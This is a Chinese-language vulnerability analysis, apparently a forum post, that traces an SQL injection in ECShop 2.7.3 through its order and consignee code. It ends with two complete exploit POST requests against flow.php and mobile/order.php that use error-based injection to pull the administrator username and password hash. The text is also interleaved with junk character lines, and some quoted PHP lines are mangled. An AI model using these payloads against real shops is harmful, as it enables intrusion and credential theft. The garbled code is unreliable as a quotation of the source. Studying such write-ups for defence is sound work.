ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
' C4 T& d6 p" p5 c( Q
    漏洞关键文件：
2 w7 M/ y( e& Q  j
! u. }8 S  Z% k* Y    /includes/lib_order.php

9 Q5 J, q: ]; x$ K- N    关键函数：
5 x. |: ~# l& \- q+ p  j

6 Z% d9 I% R# y( ~- g- M
, r6 X5 ]- z8 W8 O" W0 t3 L/ s01     function available_shipping_list($region_id_list)

: h2 D& e4 e0 X& z+ X) g. J, V02 {
% [7 r; Z2 l9 F, q8 a9 ^+ C5 D% a# i4 t
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
; F$ k9 @- D# O  R9 T  V
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

5 s  W+ v+ ]! j06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
/ S1 s0 c2 l5 z1 z; ^7 z. x
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

& n9 |. e) o) B* Z; N08             'WHERE r.region_id ' . db_create_in($region_id_list) .

* l- b7 j. b9 I+ P1 K09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   

  M. Q* z2 I; o11     return $GLOBALS['db']->getAll($sql);

0 `$ N& z  L9 Z5 @7 s" E# U12 }

显然对传入的参数没有任何过滤就带入了查询语句。
1 F7 ~& i5 b+ _
+ n7 _3 t' r' u2 m/ l3 x下面我们追踪这个函数在flow.php中：
; h3 Q8 I$ P6 s  g$ D 第531行：   
/ J# K5 g7 N6 y( E# e( y) S
1 $shipping_list     = available_shipping_list($region);
9 `2 J) `; Y7 |- v3 p3 e
+ X9 _/ F0 ]2 U: P0 D& N
0 ]  _4 F7 \, C  J3 x
5 g$ K# b& f8 n5 ~
* H6 y4 i: E( w" B) F- {
3 V4 T4 n6 u0 F" @3 E. @1 P' I再对传入变量进行追踪：

9 U. y- w  G  L2 u! d第530行：   

# F) G1 x, C" P1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
% M( D4 V" I( i5 P$ _
0 I: Y" h4 u; e8 s, q* r0 z



第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：
8 q2 y) L, z7 s
/includes/lib_order.php
5 h5 e) p6 A0 x$ A# Z& b8 n4 d7 k
, f. y8 k$ F2 g1 s, [( R2 D1 A
  W, G! K7 K5 ]* B! q
4 R5 u8 c2 h( }9 Y
& `* c1 B1 V% {% B: d
01 function get_consignee($user_id)
. N$ i. q1 \4 \. {5 F- ]0 ]
7 L$ s) l) ?  q. x02 {
9 K: `8 D# N6 H( ^4 y+ f% {
03     if (isset($_SESSION['flow_consignee']))
/ q# m) h. O; R7 _4 g4 ^
04     {

1 F9 W( u9 G% A1 t5 r# Q7 z2 n05         /* 如果存在session，则直接返回session中的收货人信息 */

6 Y/ g2 o. t9 _0 O. r! s7 }7 i$ Z! Y06   
; S. O) P" G7 b) Y, J6 ?0 t% k
07         return $_SESSION['flow_consignee'];

08     }
8 Y8 W0 ?# q8 e$ f" w
0 Z+ [3 E8 r7 R) i( j09     else
) M0 }. ~: G5 K; r
5 m+ S, r. N  X10     {
$ G" N- y# d3 Y9 ]% M. i5 T" l7 |/ Q
11         /* 如果不存在，则取得用户的默认收货人信息 */

) K& `  W9 Y3 n/ }; h/ c) t12         $arr = array();
8 C/ s' x( Z$ Z' z  z+ l& B7 d5 U  B, {
0 s3 N( X' @8 Y5 t+ m* s3 ]13   

14         if ($user_id > 0)
2 q/ B9 }! c. r8 }9 a8 r
6 i3 O  c4 i% p% @* S15         {

2 \: v0 S5 `5 G) p" J16             /* 取默认地址 */

17             $sql = "SELECT ua.*".
- W5 B9 z$ t* f; _  W5 L7 f
3 N* `) W8 h% S' r. H) v: I18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
3 Y$ `8 I3 |* `; X) c6 U: ^5 n
9 e5 m% f+ c, \0 x* s0 z7 F* }: S19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   

21             $arr = $GLOBALS['db']->getRow($sql);
7 l$ P/ ~- d: p  \6 I
8 ^: q  ?9 N, ?2 ^; b+ z22         }
$ T  ~1 F' R, n3 u0 y3 _
7 B% v7 b6 K! t/ n/ ?$ V( \2 [23   

. t! T2 q& H+ _24         return $arr;

, w* P- O" p- F# J; l& g25     }
# p+ X, v4 o7 G; E6 r
+ I2 }8 B0 c# C26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
) x0 ]) N* ]1 H6 @


% d" \! I8 t  ]关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
$ z0 W) |0 E0 n, |+ P
这里对传入参数反转义存入$_SESSION中。
: ?. k1 c' _$ o
2 L' _: S( y! ^( V- X% }. }7 E- z
; O# V" f( m( V" c# v' U6 e+ }  d
然后看下：



- g5 u5 f' }  B) h* C$ k/ @   

01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
- J" v( k" r# k8 _' D/ s
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

$ n2 [  Q0 |, o; T05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
* m; D/ Z  X7 ?+ q
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
6 G' z  e2 @/ A8 K6 S3 ?
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
, j# ]9 Y; v! q, g5 F; d9 [
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
/ \/ ^0 t4 v3 o% X! o2 m
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

5 z5 L; J* ]/ C# z" C12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
4 v0 S* z' R2 v, ?
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
: k0 ^" p7 Q9 i. Q  E% u
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
: x3 [5 Q9 Y! y" {6 Z0 N1 R  a" N, ~2 V
15     );

好了注入就这样出现了。
+ Y% y8 a. Z# }- Q! A/ [+ B4 j
* _7 E' {. A9 F; e==================

注入测试：

4 e2 Z9 h4 H5 x: C环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
$ [  i0 j1 D) S( B! ~
6 s  R6 k# A5 w' y/ M8 |测试程序：ECShop_V2.7.3_UTF8_release1106


1 V" M  m0 i0 s8 c# r1 m, @. H
1.首先需要点击一个商品加入购物车
: ^" [3 [3 C* r
" X$ d, c* d. d/ O! X3 @% T2.注册一个会员帐号
- e  P0 ]2 Z) w9 L3 f. g8 l
3.post提交数据



1 http://127.0.0.1/ecshop/flow.php
) F+ Z6 m7 `3 l6 g4 j, C1 j( x5 {
2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
' V) ^- B) N# U% e. [$ ?
$ e) {: T3 |% ^. }1 S4 g我们搜寻关键函数function available_shipping_list()
6 v2 d7 M- T4 J$ F# v1 Y2 M' o" V& h; v
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
8 Y0 n* ?8 Y2 d( \
6 W0 ?$ Z( M2 n" A5 T: j利用exp:
7 T0 g7 D0 e+ K7 e4 \' {1 X( \
1.点击一个商品，点击购买商标

2.登录会员帐号

3.post提交：

http://127.0.0.1/ecshop/mobile/order.php
6 j$ R0 B$ S# ^
0 f7 k% _. t+ s3 S+ u6 `

country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
5 ]! w8 L/ V& Q  |